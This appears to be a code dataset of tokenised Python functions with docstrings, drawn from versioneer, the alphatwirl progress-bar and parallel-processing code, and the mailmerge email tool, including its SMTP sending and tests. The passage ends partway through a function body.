{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f9060:m11"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f9060:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f9060:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f9060:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f9060:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f9060:m16"}
{"signature": "@_deprecated(msg='<STR_LIT>')<EOL>def atpbar(iterable, name=None):", "body": "try:<EOL><INDENT>len_ = len(iterable)<EOL><DEDENT>except TypeError:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logging.warning('<STR_LIT>'.format(iterable))<EOL>logging.warning('<STR_LIT>')<EOL>return iterable<EOL><DEDENT>if name is None:<EOL><INDENT>name = repr(iterable)<EOL><DEDENT>return Atpbar(iterable, name=name, len_=len_)<EOL>", "docstring": "Progress bar", "id": "f9066:m0"}
{"signature": "def report(self, report):", "body": "if not self._need_to_report(report):<EOL><INDENT>return<EOL><DEDENT>self.queue.put(report)<EOL>self.last_time[report.taskid] = self._time()<EOL>", "docstring": "send ``report`` to a progress monitor\n\n        Args:\n            report (ProgressReport): a progress report", "id": "f9071:c0:m2"}
{"signature": "def __call__(self, key):", "body": "ret = [ ]<EOL>for i in range(len(self._binnings)):<EOL><INDENT>keyc = list(key)<EOL>thisbin = keyc[i]<EOL>nextbin = self._binnings[i].next(thisbin)<EOL>if nextbin is None: continue<EOL>if nextbin == thisbin: continue<EOL>keyc[i] = nextbin<EOL>ret.append(tuple(keyc))<EOL><DEDENT>return tuple(ret)<EOL>", "docstring": "returns a list of the next keys\n\n        e.g.,\n        If key = (11, 8, 20)\n        it returns ((12, 8, 20), (11, 9, 20), (11, 8, 21))\n\n        When the next bin is None, it won't be included.\n\n        When the next bin is the same, it won't be included.", "id": "f9089:c0:m2"}
{"signature": "def key_vals_dict_to_tuple_list(key_vals_dict, fill=float('<STR_LIT>')):", "body": "tuple_list = [ ]<EOL>if not key_vals_dict: return tuple_list<EOL>vlen = max([len(vs) for vs in itertools.chain(*key_vals_dict.values())])<EOL>for k, vs in key_vals_dict.items():<EOL><INDENT>try:<EOL><INDENT>tuple_list.extend([k + tuple(v) + (fill, )*(vlen - len(v)) for v in vs])<EOL><DEDENT>except TypeError:<EOL><INDENT>tuple_list.extend([(k, ) + tuple(v) + (fill, )*(vlen - len(v)) for v in vs])<EOL><DEDENT><DEDENT>return tuple_list<EOL>", "docstring": "Convert ``key_vals_dict`` to `tuple_list``.\n\n    Args:\n        key_vals_dict (dict): The first parameter.\n        fill: a value to fill missing data\n\n    Returns:\n        A list of tuples", "id": "f9090:m0"}
{"signature": "def add(self, collector):", "body": "self.components.append(collector)<EOL>", "docstring": "add a collector\n\n\n        Args:\n            collector: the collector to be added", "id": "f9108:c0:m2"}
{"signature": "def collect(self, dataset_readers_list):", "body": "ret = [ ]<EOL>for i, collector in enumerate(self.components):<EOL><INDENT>report = ProgressReport(name='<STR_LIT>', done=(i + <NUM_LIT:1>), total=len(self.components))<EOL>alphatwirl.progressbar.report_progress(report)<EOL>ret.append(collector.collect([(dataset, tuple(r.readers[i] for r in readerComposites))<EOL>for dataset, readerComposites in dataset_readers_list]))<EOL><DEDENT>return ret<EOL>", "docstring": "collect results\n\n\n        Returns:\n            a list of results", "id": "f9108:c0:m3"}
{"signature": "def begin(self):", "body": "pass<EOL>", "docstring": "does nothing.\n\n        Older versions of this class had implementations.", "id": "f9110:c0:m2"}
{"signature": "def run(self, eventLoop):", "body": "self.nruns += <NUM_LIT:1><EOL>return self.communicationChannel.put(eventLoop)<EOL>", "docstring": "run the event loop in the background.\n\n        Args:\n            eventLoop (EventLoop): an event loop to run", "id": "f9110:c0:m3"}
{"signature": "def run_multiple(self, eventLoops):", "body": "self.nruns += len(eventLoops)<EOL>return self.communicationChannel.put_multiple(eventLoops)<EOL>", "docstring": "run the event loops in the background.\n\n        Args:\n            eventLoops (list): a list of event loops to run", "id": "f9110:c0:m4"}
{"signature": "def poll(self):", "body": "ret = self.communicationChannel.receive_finished()<EOL>self.nruns -= len(ret)<EOL>return ret<EOL>", "docstring": "Return pairs of run ids and results of finish event loops.", "id": "f9110:c0:m5"}
{"signature": "def receive_one(self):", "body": "if self.nruns == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>ret = self.communicationChannel.receive_one()<EOL>if ret is not None:<EOL><INDENT>self.nruns -= <NUM_LIT:1><EOL><DEDENT>return ret<EOL>", "docstring": "Return a pair of a run id and a result.\n\n        This method waits until an event loop finishes.\n        This method returns None if no loop is running.", "id": "f9110:c0:m6"}
{"signature": "def receive(self):", "body": "ret = self.communicationChannel.receive_all()<EOL>self.nruns -= len(ret)<EOL>if self.nruns > <NUM_LIT:0>:<EOL><INDENT>import logging<EOL>logger = logging.getLogger(__name__)<EOL>logger.warning(<EOL>'<STR_LIT>'.format(<EOL>len(ret), self.nruns))<EOL><DEDENT>elif self.nruns < <NUM_LIT:0>:<EOL><INDENT>import logging<EOL>logger = logging.getLogger(__name__)<EOL>logger.warning(<EOL>'<STR_LIT>'.format(<EOL>len(ret), -self.nruns))<EOL><DEDENT>return ret<EOL>", "docstring": "Return pairs of run ids and results.\n\n        This method waits until all event loops finish", "id": "f9110:c0:m7"}
{"signature": "def end(self):", "body": "results = self.communicationChannel.receive()<EOL>if self.nruns != len(results):<EOL><INDENT>import logging<EOL>logger = logging.getLogger(__name__)<EOL>logger.warning(<EOL>'<STR_LIT>'.format(<EOL>len(results),<EOL>self.nruns<EOL>))<EOL><DEDENT>return results<EOL>", "docstring": "wait until all event loops end and returns the results.", "id": "f9110:c0:m8"}
{"signature": "def getVector(self, tree, branchName):", "body": "if (tree, branchName) in self.__class__.addressDict:<EOL><INDENT>return self.__class__.addressDict[(tree, branchName)]<EOL><DEDENT>itsVector = self._getVector(tree, branchName)<EOL>self.__class__.addressDict[(tree, branchName)] = itsVector<EOL>return itsVector<EOL>", "docstring": "return the ROOT.vector object for the branch.", "id": "f9112:c0:m0"}
{"signature": "def getArrays(self, tree, branchName):", "body": "itsArray = self._getArray(tree, branchName)<EOL>if itsArray is None: return None, None<EOL>itsCountArray = self._getCounterArray(tree, branchName)<EOL>return itsArray, itsCountArray<EOL>", "docstring": "return the array.array objects for the branch and its counter branch\n\n        This method returns a pair of the array.array objects. The first one is\n        for the given tree and branch name. The second one is for its counter\n        branch. The second one will be None when the branch does not have a\n        counter. A pair of None will be returned when the tree does not have\n        the branch.", "id": "f9113:c0:m0"}
{"signature": "@_removed_func_option('<STR_LIT>', msg='<STR_LIT>')<EOL>def build_parallel(parallel_mode, quiet=True, processes=<NUM_LIT:4>,<EOL>user_modules=None, dispatcher_options=None):", "body": "if user_modules is None:<EOL><INDENT>user_modules = [ ]<EOL><DEDENT>if dispatcher_options is None:<EOL><INDENT>dispatcher_options = dict()<EOL><DEDENT>dispatchers = ('<STR_LIT>', '<STR_LIT>')<EOL>parallel_modes = ('<STR_LIT>', ) + dispatchers<EOL>default_parallel_mode = '<STR_LIT>'<EOL>if not parallel_mode in parallel_modes:<EOL><INDENT>logger = logging.getLogger(__name__)<EOL>logger.warning('<STR_LIT>'.format(<EOL>parallel_mode, default_parallel_mode<EOL>))<EOL>parallel_mode = default_parallel_mode<EOL><DEDENT>if parallel_mode == '<STR_LIT>':<EOL><INDENT>if quiet:<EOL><INDENT>atpbar.disable()<EOL><DEDENT>return _build_parallel_multiprocessing(processes=processes)<EOL><DEDENT>return _build_parallel_dropbox(<EOL>parallel_mode=parallel_mode,<EOL>user_modules=user_modules,<EOL>dispatcher_options=dispatcher_options<EOL>)<EOL>", "docstring": "initializes `Parallel`\n\n    Parameters\n    ----------\n    parallel_mode : str\n        \"multiprocessing\" (default), \"htcondor\" or \"subprocess\"\n    quiet : bool, optional\n        if True, progress bars will not be shown in the \"multiprocessing\" mode.\n    process : int, optional\n        The number of processes when ``parallel_mode`` is\n        \"multiprocessing\"\n    user_modules : list, optional\n        The names of modules to be sent to worker nodes when\n        parallel_mode is \"htcondor\"\n    dispatcher_options : dict, optional\n        Options to dispatcher\n\n    Returns\n    -------\n    parallel\n        an instance of the class `Parallel`", "id": "f9129:m0"}
{"signature": "def setUp(self):", "body": "os.chdir(os.path.dirname(__file__))<EOL>", "docstring": "Change directory to tests/ before any unit test.", "id": "f9134:c0:m0"}
{"signature": "def _validate_message_contents(self, message):", "body": "self.assertTrue(message.is_multipart())<EOL>email_body_present = False<EOL>expected_attachments = {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT>\": False,<EOL>}<EOL>for part in message.walk():<EOL><INDENT>if part.get_content_maintype() == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if part['<STR_LIT>'].startswith('<STR_LIT>'):<EOL><INDENT>email_body = part.get_payload()<EOL>expected_email_body = '<STR_LIT>'<EOL>self.assertEqual(email_body.rstrip(), expected_email_body)<EOL>email_body_present = True<EOL><DEDENT>elif part['<STR_LIT>'].startswith('<STR_LIT>'):<EOL><INDENT>filename = part.get_param('<STR_LIT:name>')<EOL>file_contents = part.get_payload(decode=True)<EOL>self.assertIn(filename, expected_attachments)<EOL>self.assertFalse(expected_attachments[filename])<EOL>with open(filename, '<STR_LIT:rb>') as expected_attachment:<EOL><INDENT>correct_file_contents = expected_attachment.read()<EOL><DEDENT>self.assertEqual(file_contents, correct_file_contents)<EOL>expected_attachments[filename] = True<EOL><DEDENT><DEDENT>self.assertTrue(email_body_present)<EOL>self.assertNotIn(False, expected_attachments.values())<EOL>", "docstring": "Validate the contents and attachments of the message.", "id": "f9135:c0:m0"}
{"signature": "def setUp(self):", "body": "os.chdir(os.path.dirname(__file__))<EOL>", "docstring": "Change directory to tests/ before any unit test.", "id": "f9136:c0:m0"}
{"signature": "def setUp(self):", "body": "os.chdir(os.path.dirname(__file__))<EOL>", "docstring": "Change directory to tests/ before any unit test.", "id": "f9137:c0:m0"}
{"signature": "def setUp(self):", "body": "os.chdir(os.path.dirname(__file__))<EOL>self.smtp = SMTP_dummy()<EOL>self.smtp.clear()<EOL>", "docstring": "Change directory to tests/ before any unit test.", "id": "f9140:c0:m0"}
{"signature": "def _validate_message_contents(self, message):", "body": "self.assertTrue(message.is_multipart())<EOL>payload = message.get_payload()<EOL>self.assertEqual(len(payload), <NUM_LIT:2>)<EOL>plaintext_contenttype = payload[<NUM_LIT:0>]['<STR_LIT:Content-Type>']<EOL>self.assertTrue(plaintext_contenttype.startswith(\"<STR_LIT>\"))<EOL>plaintext = payload[<NUM_LIT:0>].get_payload()<EOL>html_contenttype = payload[<NUM_LIT:1>]['<STR_LIT:Content-Type>']<EOL>self.assertTrue(html_contenttype.startswith(\"<STR_LIT>\"))<EOL>htmltext = payload[<NUM_LIT:1>].get_payload()<EOL>converted_html = markdown.markdown(plaintext)<EOL>self.assertEqual(\"<STR_LIT>\".format(converted_html),<EOL>htmltext.strip())<EOL>", "docstring": "Validate the contents and attachments of the message.", "id": "f9141:c0:m0"}
{"signature": "def login(self, login, password):", "body": "", "docstring": "Do nothing.", "id": "f9142:c0:m0"}
{"signature": "def sendmail(self, msg_from, msg_to, msg):", "body": "SMTP_dummy.msg_from = msg_from<EOL>SMTP_dummy.msg_to = msg_to<EOL>SMTP_dummy.msg = msg<EOL>", "docstring": "Remember the recipients.", "id": "f9142:c0:m1"}
{"signature": "def close(self):", "body": "", "docstring": "Do nothing.", "id": "f9142:c0:m2"}
{"signature": "def clear(self):", "body": "SMTP_dummy.msg_from = None<EOL>SMTP_dummy.msg_to = []<EOL>SMTP_dummy.msg = None<EOL>", "docstring": "Reset class variables.", "id": "f9142:c0:m3"}
{"signature": "@click.command(context_settings={\"<STR_LIT>\": ['<STR_LIT>', '<STR_LIT>']})<EOL>@click.version_option()  <EOL>@click.option(\"<STR_LIT>\", is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", default=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", is_flag=False, default=<NUM_LIT:1>,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>default=mailmerge.api.DATABASE_FILENAME_DEFAULT,<EOL>help=\"<STR_LIT>\" +<EOL>mailmerge.api.DATABASE_FILENAME_DEFAULT)<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>default=mailmerge.api.TEMPLATE_FILENAME_DEFAULT,<EOL>help=\"<STR_LIT>\" +<EOL>mailmerge.api.TEMPLATE_FILENAME_DEFAULT)<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>default=mailmerge.api.CONFIG_FILENAME_DEFAULT,<EOL>help=\"<STR_LIT>\" +<EOL>mailmerge.api.CONFIG_FILENAME_DEFAULT)<EOL>def cli(sample, dry_run, limit, no_limit,<EOL>database_filename, template_filename, config_filename):", "body": "<EOL>mailmerge.api.main(<EOL>sample=sample,<EOL>dry_run=dry_run,<EOL>limit=limit,<EOL>no_limit=no_limit,<EOL>database_filename=database_filename,<EOL>template_filename=template_filename,<EOL>config_filename=config_filename,<EOL>)<EOL>", "docstring": "Command line interface.", "id": "f9143:m0"}
{"signature": "def parsemail(raw_message):", "body": "message = email.parser.Parser().parsestr(raw_message)<EOL>detected = chardet.detect(bytearray(raw_message, \"<STR_LIT:utf-8>\"))<EOL>encoding = detected[\"<STR_LIT>\"]<EOL>print(\"<STR_LIT>\".format(encoding))<EOL>for part in message.walk():<EOL><INDENT>if part.get_content_maintype() == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>part.set_charset(encoding)<EOL><DEDENT>addrs = email.utils.getaddresses(message.get_all(\"<STR_LIT>\", [])) +email.utils.getaddresses(message.get_all(\"<STR_LIT>\", [])) +email.utils.getaddresses(message.get_all(\"<STR_LIT>\", []))<EOL>recipients = [x[<NUM_LIT:1>] for x in addrs]<EOL>message.__delitem__(\"<STR_LIT>\")<EOL>message.__setitem__('<STR_LIT>', email.utils.formatdate())<EOL>sender = message[\"<STR_LIT>\"]<EOL>return (message, sender, recipients)<EOL>", "docstring": "Parse message headers, then remove BCC header.", "id": "f9145:m0"}
{"signature": "def _create_boundary(message):", "body": "if not message.is_multipart() or message.get_boundary() is not None:<EOL><INDENT>return message<EOL><DEDENT>from future.backports.email.generator import Generator<EOL>boundary = Generator._make_boundary(message.policy.linesep)<EOL>message.set_param('<STR_LIT>', boundary)<EOL>return message<EOL>", "docstring": "Add boundary parameter to multipart message if they are not present.", "id": "f9145:m1"}
{"signature": "def make_message_multipart(message):", "body": "if not message.is_multipart():<EOL><INDENT>multipart_message = email.mime.multipart.MIMEMultipart('<STR_LIT>')<EOL>for header_key in set(message.keys()):<EOL><INDENT>values = message.get_all(header_key, failobj=[])<EOL>for value in values:<EOL><INDENT>multipart_message[header_key] = value<EOL><DEDENT><DEDENT>original_text = message.get_payload()<EOL>multipart_message.attach(email.mime.text.MIMEText(original_text))<EOL>message = multipart_message<EOL><DEDENT>message = _create_boundary(message)<EOL>return message<EOL>", "docstring": "Convert a message into a multipart message.", "id": "f9145:m2"}
{"signature": "def convert_markdown(message):", "body": "assert message['<STR_LIT:Content-Type>'].startswith(\"<STR_LIT>\")<EOL>del message['<STR_LIT:Content-Type>']<EOL>message = make_message_multipart(message)<EOL>for payload_item in set(message.get_payload()):<EOL><INDENT>if payload_item['<STR_LIT:Content-Type>'].startswith('<STR_LIT>'):<EOL><INDENT>original_text = payload_item.get_payload()<EOL>html_text = markdown.markdown(original_text)<EOL>html_payload = future.backports.email.mime.text.MIMEText(<EOL>\"<STR_LIT>\".format(html_text),<EOL>\"<STR_LIT:html>\",<EOL>)<EOL>message.attach(html_payload)<EOL><DEDENT><DEDENT>return message<EOL>", "docstring": "Convert markdown in message text to HTML.", "id": "f9145:m3"}
{"signature": "def addattachments(message, template_path):", "body": "if '<STR_LIT>' not in message:<EOL><INDENT>return message, <NUM_LIT:0><EOL><DEDENT>message = make_message_multipart(message)<EOL>attachment_filepaths = message.get_all('<STR_LIT>', failobj=[])<EOL>template_parent_dir = os.path.dirname(template_path)<EOL>for attachment_filepath in attachment_filepaths:<EOL><INDENT>attachment_filepath = os.path.expanduser(attachment_filepath.strip())<EOL>if not attachment_filepath:<EOL><INDENT>continue<EOL><DEDENT>if not os.path.isabs(attachment_filepath):<EOL><INDENT>attachment_filepath = os.path.join(template_parent_dir,<EOL>attachment_filepath)<EOL><DEDENT>normalized_path = os.path.abspath(attachment_filepath)<EOL>if not os.path.exists(normalized_path):<EOL><INDENT>print(\"<STR_LIT>\" + normalized_path)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>filename = os.path.basename(normalized_path)<EOL>with open(normalized_path, \"<STR_LIT:rb>\") as attachment:<EOL><INDENT>part = email.mime.application.MIMEApplication(attachment.read(),<EOL>Name=filename)<EOL><DEDENT>part.add_header('<STR_LIT>',<EOL>'<STR_LIT>'.format(filename))<EOL>message.attach(part)<EOL>print(\"<STR_LIT>\".format(normalized_path))<EOL><DEDENT>del message['<STR_LIT>']<EOL>return message, len(attachment_filepaths)<EOL>", "docstring": "Add the attachments from the message from the commandline options.", "id": "f9145:m4"}
{"signature": "def sendmail(message, sender, recipients, config_filename):", "body": "<EOL>if not hasattr(sendmail, \"<STR_LIT:host>\"):<EOL><INDENT>config = configparser.RawConfigParser()<EOL>config.read(config_filename)<EOL>sendmail.host = config.get(\"<STR_LIT>\", \"<STR_LIT:host>\")<EOL>sendmail.port = config.getint(\"<STR_LIT>\", \"<STR_LIT:port>\")<EOL>sendmail.username = config.get(\"<STR_LIT>\", \"<STR_LIT:username>\")<EOL>sendmail.security = config.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>print(\"<STR_LIT>\".format(<EOL>config_filename))<EOL>print(\"<STR_LIT>\".format(sendmail.host))<EOL>print(\"<STR_LIT>\".format(sendmail.port))<EOL>print(\"<STR_LIT>\".format(sendmail.username))<EOL>print(\"<STR_LIT>\".format(sendmail.security))<EOL><DEDENT>if not hasattr(sendmail, \"<STR_LIT:password>\"):<EOL><INDENT>if sendmail.security == \"<STR_LIT>\" or sendmail.username == \"<STR_LIT:None>\":<EOL><INDENT>sendmail.password = None<EOL><DEDENT>else:<EOL><INDENT>prompt = \"<STR_LIT>\".format(sendmail.username,<EOL>sendmail.host)<EOL>sendmail.password = getpass.getpass(prompt)<EOL><DEDENT><DEDENT>if sendmail.security == \"<STR_LIT>\":<EOL><INDENT>smtp = smtplib.SMTP_SSL(sendmail.host, sendmail.port)<EOL><DEDENT>elif sendmail.security == \"<STR_LIT>\":<EOL><INDENT>smtp = smtplib.SMTP(sendmail.host, sendmail.port)<EOL>smtp.ehlo()<EOL>smtp.starttls()<EOL>smtp.ehlo()<EOL><DEDENT>elif sendmail.security == \"<STR_LIT>\":<EOL><INDENT>smtp = smtplib.SMTP(sendmail.host, sendmail.port)<EOL><DEDENT>elif sendmail.security == \"<STR_LIT>\":<EOL><INDENT>smtp = smtp_dummy.SMTP_dummy()<EOL><DEDENT>else:<EOL><INDENT>raise configparser.Error(\"<STR_LIT>\".format(<EOL>sendmail.security))<EOL><DEDENT>if sendmail.username != \"<STR_LIT:None>\":<EOL><INDENT>smtp.login(sendmail.username, sendmail.password)<EOL><DEDENT>smtp.sendmail(sender, recipients, message.as_string())<EOL>smtp.close()<EOL>", "docstring": "Send email message using Python SMTP library.", "id": "f9145:m5"}
{"signature": "def create_sample_input_files(template_filename,<EOL>database_filename,<EOL>config_filename):", "body": "print(\"<STR_LIT>\".format(template_filename))<EOL>if os.path.exists(template_filename):<EOL><INDENT>print(\"<STR_LIT>\" + template_filename)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>with io.open(template_filename, \"<STR_LIT:w>\") as template_file:<EOL><INDENT>template_file.write(<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT:\\n>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT:\\n>\"<EOL>u\"<STR_LIT>\"<EOL>)<EOL><DEDENT>print(\"<STR_LIT>\".format(database_filename))<EOL>if os.path.exists(database_filename):<EOL><INDENT>print(\"<STR_LIT>\" + database_filename)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>with io.open(database_filename, \"<STR_LIT:w>\") as database_file:<EOL><INDENT>database_file.write(<EOL>u'<STR_LIT>'<EOL>u'<STR_LIT>'<EOL>u'<STR_LIT>'<EOL>)<EOL><DEDENT>print(\"<STR_LIT>\".format(config_filename))<EOL>if os.path.exists(config_filename):<EOL><INDENT>print(\"<STR_LIT>\" + config_filename)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>with io.open(config_filename, \"<STR_LIT:w>\") as config_file:<EOL><INDENT>config_file.write(<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"  <EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"  <EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\"<EOL>)<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "Create sample template email and database.", "id": "f9145:m6"}
{"signature": "def main(sample=False,<EOL>dry_run=True,<EOL>limit=<NUM_LIT:1>,<EOL>no_limit=False,<EOL>database_filename=DATABASE_FILENAME_DEFAULT,<EOL>template_filename=TEMPLATE_FILENAME_DEFAULT,<EOL>config_filename=CONFIG_FILENAME_DEFAULT):", "body": "<EOL>if sample:<EOL><INDENT>create_sample_input_files(<EOL>template_filename,<EOL>database_filename,<EOL>config_filename,<EOL>)<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>if not os.path.exists(template_filename):<EOL><INDENT>print(\"<STR_LIT>\" + template_filename)<EOL>print(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if not os.path.exists(database_filename):<EOL><INDENT>print(\"<STR_LIT>\" + database_filename)<EOL>print(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>with io.open(template_filename, \"<STR_LIT:r>\") as template_file:<EOL><INDENT>content = template_file.read() + u\"<STR_LIT:\\n>\"<EOL>template = 